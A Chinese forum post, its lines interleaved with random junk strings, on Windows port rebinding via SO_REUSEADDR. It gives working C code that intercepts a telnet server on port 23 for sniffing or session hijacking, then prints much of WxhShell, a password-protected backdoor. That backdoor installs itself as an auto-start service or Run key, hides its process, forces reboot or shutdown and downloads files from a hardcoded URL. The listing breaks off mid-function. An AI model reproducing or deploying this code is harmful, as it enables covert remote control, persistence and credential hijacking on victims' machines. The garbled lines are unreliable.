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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: o3= .T+B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3Pa3f >}-  
])68wqD  
  saddr.sin_family = AF_INET; -_w~JCx  
p}r yKW\cJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >+f'!*%7He  
q4zSS #]A  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nYgx9Q"<om  
&}O8w77  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 SE-} XI\  
%N1T{   
  这意味着什么?意味着可以进行如下的攻击: iUpSN0XkMM  
.yG8B:7N2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {;;eOxOP|  
\hu':@}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8}J(c=4Gk  
.8%vd  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?^eJ:  
f5N<3m=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w[M5M2CF  
Hq79/ wKj  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 QZ:v  
;7)OSGR  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 AV9:O{  
P)4x   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 89ZDOji?O  
i"KL;t[1  
  #include AwA1&mh  
  #include )m)h/_  
  #include JJ)y2  
  #include    K"G(?<>~4c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   f};!m=b  
  int main() #<D@3ScC  
  { US"2O!u  
  WORD wVersionRequested; rg"TJ"Q-  
  DWORD ret; c;nx59w ]q  
  WSADATA wsaData; E Gr|BLl  
  BOOL val; 9k*^\@\\x  
  SOCKADDR_IN saddr; =nw,*q +  
  SOCKADDR_IN scaddr; YcEtgpz@  
  int err; }isCv b  
  SOCKET s; 8x` Kl(  
  SOCKET sc; ,d3Q+9/  
  int caddsize; \;'_|bu3.  
  HANDLE mt; ;}$Z 80  
  DWORD tid;   k`{RXx  
  wVersionRequested = MAKEWORD( 2, 2 ); .59KE]u  
  err = WSAStartup( wVersionRequested, &wsaData ); K%kXS  
  if ( err != 0 ) { aViJ   
  printf("error!WSAStartup failed!\n"); 4|I7:~  
  return -1; <e$5~Spc  
  } ;,()wH  
  saddr.sin_family = AF_INET; xNocGtS  
   q+r ` e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dw'<"+zO  
6sO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ks9FnDm8  
  saddr.sin_port = htons(23); X!7 c zt  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Omp i~  
  { "m wl-=  
  printf("error!socket failed!\n"); (9Fabo\SH  
  return -1; hwEZj`9  
  } (R9QBZP5  
  val = TRUE; m+;B!4 6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \Ac}R'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &Bj,.dD/a  
  { TXZ(mj?  
  printf("error!setsockopt failed!\n"); 49iR8w?k  
  return -1; *1 n;p)K  
  } VyB\]EBu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -G(3Y2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 l{M;PaJ`}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )Ix-5084  
@>qx:jx(-S  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /5L'9e  
  { '-$))AdD  
  ret=GetLastError(); wUh3Hd'  
  printf("error!bind failed!\n"); -lJx%9>  
  return -1; y|&.v <  
  } BnKP7e  
  listen(s,2); ]}UeuF\  
  while(1) u=_bM2;~Z  
  { 5bu[}mJ  
  caddsize = sizeof(scaddr); .5jnKU8NF  
  //接受连接请求 i}v}K'`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $.suu^>^w  
  if(sc!=INVALID_SOCKET) )nf=eU4|  
  { [ t>}SE  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); aYv'H  
  if(mt==NULL) UE}8Rkt  
  { J dk3) \  
  printf("Thread Creat Failed!\n"); bIvJs9L  
  break; uzzWZ9Tv  
  } yv6Zo0s<J  
  } mq|A8>g  
  CloseHandle(mt); 7/5NaUmPTt  
  } U.zRIhA ]  
  closesocket(s); _mIa8K;  
  WSACleanup(); Uxj<x`<1x  
  return 0; %J/fg<W1  
  }   j]@ x Q,y  
  DWORD WINAPI ClientThread(LPVOID lpParam) /8P4%[\  
  { >o0&:h|>$'  
  SOCKET ss = (SOCKET)lpParam; Z`SWZ<  
  SOCKET sc; t1.zWe+C>3  
  unsigned char buf[4096]; !q7;{/QM6  
  SOCKADDR_IN saddr; w~cq% %  
  long num; w /Bn2bD  
  DWORD val; P%<aGb4  
  DWORD ret; m<X#W W)N  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \Y>#^b?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )V9Mcr*Ce6  
  saddr.sin_family = AF_INET; l`~a}y"n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z>>gXh<e[  
  saddr.sin_port = htons(23); 8|S1|t,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vy2*BTU?  
  { =,/A\F  
  printf("error!socket failed!\n"); !%Z)eO~Z  
  return -1; =:CGl   
  } h;4y=UU  
  val = 100; P!)7\.7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R"9oMaY  
  { M[`w{A  
  ret = GetLastError(); kB$,1J$q  
  return -1; BCa90  
  } 1{\,5U&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BM=V,BZy  
  { k vue@  
  ret = GetLastError(); 8a":[Q[  
  return -1; f2R+5`$  
  } -Z/6;2Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c*M)DO`y;h  
  { s$DT.cvO  
  printf("error!socket connect failed!\n"); K 8yyxJ  
  closesocket(sc); + aXk^+~j  
  closesocket(ss); l7D4`i<F  
  return -1; j"D0nG,  
  } Mi %1+  
  while(1) mhJOR'2  
  { k?|F0e_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =@ L5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9Ww=hfb5UW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *'`3]!A  
  num = recv(ss,buf,4096,0); lo>-}xd  
  if(num>0) 9m#H24{V'  
  send(sc,buf,num,0); 9 +N._u  
  else if(num==0) =JySY@?9  
  break; /RXk[m-  
  num = recv(sc,buf,4096,0); *+,Lc1|\  
  if(num>0) SCI-jf3WN  
  send(ss,buf,num,0); 56O<CgJF<  
  else if(num==0) )z4kP09  
  break; J7 *G/F  
  } UtGd/\:  
  closesocket(ss); n/-p;#R  
  closesocket(sc);  2U+z~  
  return 0 ; :+gCO!9Y  
  } v#<+n{B  
q=E}#[EgY  
*~t$k56  
========================================================== (X`t"*y"  
[pC-{~  
下边附上一个代码,,WXhSHELL 3MBz  
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========================================================== pn_gq~5ng  
:[X }.]"  
#include "stdafx.h" Ie`SWg*WL  
&:cTo(C'  
#include <stdio.h> O7<V@GL+  
#include <string.h> C Sk  
#include <windows.h> >{LJ#Dc6  
#include <winsock2.h> Cn./Naq  
#include <winsvc.h> YRM6\S)py  
#include <urlmon.h> "|l oSf@  
).O2_<&?F  
#pragma comment (lib, "Ws2_32.lib") wJ]$'c3  
#pragma comment (lib, "urlmon.lib") ezq q@t9  
N:gstp  
#define MAX_USER   100 // 最大客户端连接数 )/N Xh'  
#define BUF_SOCK   200 // sock buffer s$nfY.C  
#define KEY_BUFF   255 // 输入 buffer yQA"T?  
^x1D]+  
#define REBOOT     0   // 重启 x+)hL D[ n  
#define SHUTDOWN   1   // 关机 ][$$  =  
yn ?U7`V  
#define DEF_PORT   5000 // 监听端口 I +4qu|0lA  
*i]Z=  
#define REG_LEN     16   // 注册表键长度 n4d(`  
#define SVC_LEN     80   // NT服务名长度 ~BYEeUo;%v  
Rp@}9qijb  
// 从dll定义API k f K"i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )>A%FL9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0 *Yivx6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C6T 9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Nm :|C 3_I  
kp &XX|  
// wxhshell配置信息 ?k7/`g U  
struct WSCFG { s)&R W#:X  
  int ws_port;         // 监听端口 [Xo J7  
  char ws_passstr[REG_LEN]; // 口令 %!hA\S  
  int ws_autoins;       // 安装标记, 1=yes 0=no k3|9U'r!c  
  char ws_regname[REG_LEN]; // 注册表键名 fO}1(%}d  
  char ws_svcname[REG_LEN]; // 服务名 zZ"')+7q&%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wCEfR!i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +VI0oo {Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v_ F?x!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {~p %\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ljR?* P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bA9dbe  
w!Lb;4x ?  
}; nOoh2jUM  
l=OC?d*m  
// default Wxhshell configuration V@s/]|rf,  
struct WSCFG wscfg={DEF_PORT, gdn,nL`dP  
    "xuhuanlingzhe", oO9iB:w  
    1, O7_NXfh|  
    "Wxhshell", $/(/v?3][e  
    "Wxhshell", 6 VJj(9%  
            "WxhShell Service", ,4I6RwB.  
    "Wrsky Windows CmdShell Service", l[j0(T  
    "Please Input Your Password: ", AE@Rn(1.  
  1, O#Ax P}  
  "http://www.wrsky.com/wxhshell.exe", :QY9pT  
  "Wxhshell.exe" Qz90 mb  
    }; |8?{JKsg  
,T>2zSk  
// 消息定义模块 (HgdmN%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K1:)J.ca_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w9?wy#YI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "Q!{8 9Y  
char *msg_ws_ext="\n\rExit."; +?eAaC7s  
char *msg_ws_end="\n\rQuit."; s5|)4Z ac  
char *msg_ws_boot="\n\rReboot..."; 8{^GC(W{]  
char *msg_ws_poff="\n\rShutdown..."; Yy;1N{dbT  
char *msg_ws_down="\n\rSave to "; Z`h_oK#y15  
20xGj?M  
char *msg_ws_err="\n\rErr!"; x-k /rZ  
char *msg_ws_ok="\n\rOK!"; <5L`d}  
@)B5^[4(;  
char ExeFile[MAX_PATH]; ^rb7`s#G  
int nUser = 0; R_&V.\e_  
HANDLE handles[MAX_USER]; IZ ha* 7  
int OsIsNt; uPD_s[  
\nt'I;f  
SERVICE_STATUS       serviceStatus; WED7]2>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ho{?m^  
lt2& uYgp  
// 函数声明 xo3)ds X  
int Install(void); X7!A(q+h  
int Uninstall(void); 5 `mVe0uI  
int DownloadFile(char *sURL, SOCKET wsh); 6m<9^NT  
int Boot(int flag); zT40,rk  
void HideProc(void); \}(-9dr  
int GetOsVer(void); e/l?|+m 6  
int Wxhshell(SOCKET wsl); 4p g(QeR  
void TalkWithClient(void *cs); !: [` V!{  
int CmdShell(SOCKET sock); SQCuY<mD  
int StartFromService(void); E0'6!9y  
int StartWxhshell(LPSTR lpCmdLine); ::t !W7W  
PU\q.y0R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #!<s& f|O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TV2:5@33  
5WX2rJ8z  
// 数据结构和表定义 nsn,8a38  
SERVICE_TABLE_ENTRY DispatchTable[] = g)Uh   
{ V#FLxITk  
{wscfg.ws_svcname, NTServiceMain},  +PD5pr  
{NULL, NULL} XX;%:?n  
}; rV{e[fGd  
N1+]3kt ~  
// 自我安装 N1t:i? q&  
int Install(void) ?["ZEa  
{ Tdp$laPO'  
  char svExeFile[MAX_PATH]; XX+rf  
  HKEY key; L^Af3]]2  
  strcpy(svExeFile,ExeFile); F.w#AV  
Eu}A{[^\  
// 如果是win9x系统,修改注册表设为自启动 7~g0{W>Zm  
if(!OsIsNt) { 8XE0 p7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $a]dxRkz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /FXfu  
  RegCloseKey(key); &Vm[5XW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .5zJ bZ9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;]e"bX  
  RegCloseKey(key); V)@scB|>,  
  return 0; N($]))~3&  
    } =sJHnWL[  
  } [C#pMLp,~  
} =1uI >[aN  
else { Np)!23 "  
{RO=4ba{J  
// 如果是NT以上系统,安装为系统服务 w/@%xy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nhxl#  
if (schSCManager!=0) YLr2j 7  
{ ^u<+tV   
  SC_HANDLE schService = CreateService XP1_{\  
  ( *GMRu,u2  
  schSCManager, e$h\7i:(  
  wscfg.ws_svcname, G 3x1w/L  
  wscfg.ws_svcdisp, S]{Z_|h*j  
  SERVICE_ALL_ACCESS, :@L5=2Z+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [O'p&j@  
  SERVICE_AUTO_START, ]YKWa"  
  SERVICE_ERROR_NORMAL, O2B$c\pw  
  svExeFile, r3)t5P*_  
  NULL, [J#(k`@  
  NULL, p*,mwKN:  
  NULL, z AIC5fvu  
  NULL, XsCbA8Qv  
  NULL :zoX Xo  
  ); n40Z  
  if (schService!=0) Plv+mb  
  { w9BH>56/"  
  CloseServiceHandle(schService); 2y,wN"qH*  
  CloseServiceHandle(schSCManager); ^6n]@4P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cPYQ<Y=  
  strcat(svExeFile,wscfg.ws_svcname); lUz@Em  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bvKi0-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YWdvL3Bgk,  
  RegCloseKey(key); _X/`4 G  
  return 0; )$i3j 1[;  
    } D.} b<kDD  
  } : Dlk `?  
  CloseServiceHandle(schSCManager); |szfup~5es  
} VN;M;fMs  
} u,q#-d0g;  
)c/BD C7g  
return 1; tIw4V^'|  
} H9?~#GPb  
K} @:>;* 9  
// 自我卸载 [8n4lE[)"  
int Uninstall(void) UYUd IIoL  
{ |@F<ajlV  
  HKEY key; S7*:eo  
5 Da( DA  
if(!OsIsNt) { )*B.y|b #  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r+crE %-  
  RegDeleteValue(key,wscfg.ws_regname); #wfR$Cd  
  RegCloseKey(key); Os;\\~e5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3i1>EjML  
  RegDeleteValue(key,wscfg.ws_regname); C 0wq  
  RegCloseKey(key); AnQRSB (  
  return 0; aMWNZv  
  } P[~a'u  
} rjzRH  
} *,u{~(thR  
else { n_j[hA  
}ls>~uN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .u&g2Y  
if (schSCManager!=0) c`cPGEv  
{ Yy]He nw;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c"r( l~fc  
  if (schService!=0) Bdi~ B")  
  { Vow+,,oh  
  if(DeleteService(schService)!=0) { HV?@MBM  
  CloseServiceHandle(schService); h";sQ'us  
  CloseServiceHandle(schSCManager); 2 Qy&V/E ?  
  return 0; BN0))p  
  } |{(ynZ]R  
  CloseServiceHandle(schService); z\, w$Ef+  
  } QQJ cvaQ  
  CloseServiceHandle(schSCManager); FrS>.!OFn  
} S_zE+f+ 2  
} v?rN;KY#pK  
b~-9u5.L1  
return 1; =:DNb(  
} IN"qJ3<k  
E*zk?G|  
// 从指定url下载文件 Z3Y%VHB_F(  
int DownloadFile(char *sURL, SOCKET wsh) P_}$|zj7  
{ FK>r c3 q  
  HRESULT hr; mb/Y  
char seps[]= "/"; tfO _b5g  
char *token; 9ZwhC s O  
char *file; Ru/3>n  
char myURL[MAX_PATH]; [&$z[/4:8c  
char myFILE[MAX_PATH]; a[!':-R`s  
YGB|6p(  
strcpy(myURL,sURL); %O-wMl  
  token=strtok(myURL,seps); G7u7x?E:B`  
  while(token!=NULL) 0X;Dr-3<  
  { xM(  
    file=token; G 8@%)$A  
  token=strtok(NULL,seps); aE+E'iL  
  } ]M.ufbguq  
}0I! n@  
GetCurrentDirectory(MAX_PATH,myFILE); nZ]d[  
strcat(myFILE, "\\"); V'8 (}(s/  
strcat(myFILE, file); %H54^Z<y  
  send(wsh,myFILE,strlen(myFILE),0); `y4+OXZ^  
send(wsh,"...",3,0); C M(g4fh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0W@C!mD~  
  if(hr==S_OK) `KZ}smMA  
return 0; r~X6qC  
else NGNn_1  
return 1; gxF3gM  
nG2RBeJV  
} *%8dW  
FBe 1f1 sm  
// 系统电源模块 v+Hu=RZE  
int Boot(int flag) r*$KF!-dg  
{ %gN8-~$ 1  
  HANDLE hToken; mR@iGl\\  
  TOKEN_PRIVILEGES tkp; Z# 1Qj9  
'Z';$N ]  
  if(OsIsNt) { ~Oolm_+{}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '8Yx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {Tx+m;5F  
    tkp.PrivilegeCount = 1; ,^/;!ErR$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *}FoeDe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w\a\I  
if(flag==REBOOT) { ],#9L   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4o'0lz]  
  return 0; s:M:Ff  
} V XC_Y  
else { *<J**FhcMu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y2)~ljR  
  return 0; /@q_`tU  
} $L(,q!DvH  
  } T. {P}#'|  
  else { }V 09tK/M  
if(flag==REBOOT) { /Z-|E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'M&`l%dIPf  
  return 0; ?=aQG0  
} g=b 'T-  
else { M^H357r%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xod#$'M>  
  return 0; _bW#* Y5  
} m%akx@{WL  
} ugOcK Gf  
Ta~Ei=d^  
return 1; bjbm"~  
} w}+jfO9  
&6h,'U  
// win9x进程隐藏模块 }6`#u :OZ  
void HideProc(void) y/E%W/3  
{ q^EG'\<^  
/1Ndir^c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5E4np`J  
  if ( hKernel != NULL ) IpHGit28  
  { (tys7og$'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _K'YaZTa;~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,9=5.+AJ  
    FreeLibrary(hKernel); fi`*r\  
  } C4ge_u#  
``U>9S"p)  
return; MK,#"Ty}zK  
} U",kAQY  
{o AJL  
// 获取操作系统版本 o[aRG7C  
int GetOsVer(void) fE,\1LK4  
{ c.r]w  
  OSVERSIONINFO winfo; z" 4$mh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XXvM*"3D5  
  GetVersionEx(&winfo); 1ih|b8)Dn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7iT#dpF/A  
  return 1; RWK|?FD\<  
  else eWE7>kwh  
  return 0; 624l5}@:  
} ELPzqBI  
5!-'~W  
// 客户端句柄模块 :(E.sT "R  
int Wxhshell(SOCKET wsl) ^_n(>$ EK  
{ B/AS|i] sM  
  SOCKET wsh; >,7 -cm=.  
  struct sockaddr_in client; sBt,y _LW  
  DWORD myID; ~}+F$&  
gM&XVhQJ\  
  while(nUser<MAX_USER) 6;Wns'  
{ 7 wH9w  
  int nSize=sizeof(client); "K;f[&xO,o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |L,_QXA2  
  if(wsh==INVALID_SOCKET) return 1; Onz@A"  
67?O}~jbG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8k vG<&D  
if(handles[nUser]==0) lXjhT  
  closesocket(wsh); 0M-=3T  
else 7a\at)q/y  
  nUser++; )lwxF P;  
  } bW-9YXj%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xim'TVwvC  
plN:QS$  
  return 0; lp+Uox  
} Z^wogIAV  
wO.T"x%X  
// 关闭 socket NU"Ld+gw  
void CloseIt(SOCKET wsh) &?"E"GH  
{ ;2*hN (  
closesocket(wsh); Wa.y7S0(@  
nUser--; sQwRlx  
ExitThread(0); Tmjcc(  
} h6`v%7H?  
]O]6O%.ao  
// 客户端请求句柄 G LU7?2`t  
void TalkWithClient(void *cs) ';'gKX!9V  
{ }6b" JoC  
)jm!bR`  
  SOCKET wsh=(SOCKET)cs; N.(wR  
  char pwd[SVC_LEN]; -Ph"#R&  
  char cmd[KEY_BUFF]; bS7%%8C  
char chr[1]; @? e+;Sx  
int i,j; k}18 ~cWM  
l  d  
  while (nUser < MAX_USER) { =e*S h0dK  
hX4 V}kj  
if(wscfg.ws_passstr) { E7 mB=bt>=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \3q Z0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a!guZUg6  
  //ZeroMemory(pwd,KEY_BUFF); jJbS{1z  
      i=0; D6N 32q@  
  while(i<SVC_LEN) { P.#@1_:gC  
djmd @{Djt  
  // 设置超时 &uP,w#  
  fd_set FdRead; ZB+~0[C  
  struct timeval TimeOut; pd^"MG  
  FD_ZERO(&FdRead); ;2N: =Rv  
  FD_SET(wsh,&FdRead); mM(Z8PA 9-  
  TimeOut.tv_sec=8; uidoz f2}  
  TimeOut.tv_usec=0; n~_;tO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6 H{G$[2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <~z@G MQCf  
Ky[s& >02  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e5 N$+P"  
  pwd=chr[0]; '"C& dia  
  if(chr[0]==0xd || chr[0]==0xa) { me@k~!e"z  
  pwd=0; '/2)I8  
  break; fD3>g{  
  } F rd>+   
  i++; <H,E1kGw9  
    } ,Jrm85 oG  
C[R|@9NI  
  // 如果是非法用户,关闭 socket *)bh6b=7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VW\xuP  
} XcFu:B  
weH;,e*r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N1fPutl$a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \%}w7J;  
Sc14F Fs  
while(1) { W %<,GV  
r;~7$B)  
  ZeroMemory(cmd,KEY_BUFF); NjFlV(XT}  
o)WzZ,\F^J  
      // 自动支持客户端 telnet标准   p}]K0F!  
  j=0; 0u}+n+\g  
  while(j<KEY_BUFF) { eNDc220b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "N3!!3  
  cmd[j]=chr[0]; X?7s  
  if(chr[0]==0xa || chr[0]==0xd) { O[+\` 63F=  
  cmd[j]=0; vyBx|TR  
  break; eWOZC(I*z  
  } v8U&{pD,  
  j++; ^XT;n  
    } &8HJ4Vj2  
+8}8b_bgH  
  // 下载文件 *RD<*l  
  if(strstr(cmd,"http://")) { ~--b#o{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3[UaK`/1C  
  if(DownloadFile(cmd,wsh)) /"@k_[O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9]gV#uF  
  else #X"fm1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m$`4.>J  
  } ffy,ds_7  
  else { g?rK&UTU  
Ri/D>[  
    switch(cmd[0]) { ,l#f6H7p  
  k r5'E#  
  // 帮助 af_b G;  
  case '?': { QfV:&b`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %Vb~}sT:  
    break; zP>=K  
  } nNhb,J  
  // 安装 DD'RSV5]  
  case 'i': { G&q@B`I  
    if(Install()) :gM_v?sy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ts &sr  
    else 9w<k1j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~pw%p77)  
    break; {# N,&?[  
    } H<Zs2DP`  
  // 卸载 N&G; `  
  case 'r': { GrA}T`]  
    if(Uninstall()) #]2,1dJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RY}:&vWDk  
    else ob K6GG?ZE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4oPr|OKj{*  
    break; W]5sqtF;6  
    } [Qn=y/._r  
  // 显示 wxhshell 所在路径 r)gtx!bx  
  case 'p': { uA%cie  
    char svExeFile[MAX_PATH]; 7Ga'FT.F  
    strcpy(svExeFile,"\n\r"); rsD? ;XzH  
      strcat(svExeFile,ExeFile); JqK-vvI  
        send(wsh,svExeFile,strlen(svExeFile),0); }g"K\x:Z  
    break; G(hzW%P  
    } (,['6k<  
  // 重启 b?:SCUI  
  case 'b': {  z:d+RMA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &ER,;^H `6  
    if(Boot(REBOOT)) o(YF`;OhvS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l8 XY  
    else { CTZ#QiNP  
    closesocket(wsh); to#T+d.(v  
    ExitThread(0); x8Nij: K#  
    } i}kMo@  
    break; {^@qfkZz^  
    } G3D!ifho.#  
  // 关机 qb PC5v  
  case 'd': { L[Y|K%;~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J';XAB }  
    if(Boot(SHUTDOWN)) cJ#%OU3 p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lT+N{[kLt*  
    else { 6AKT -r.  
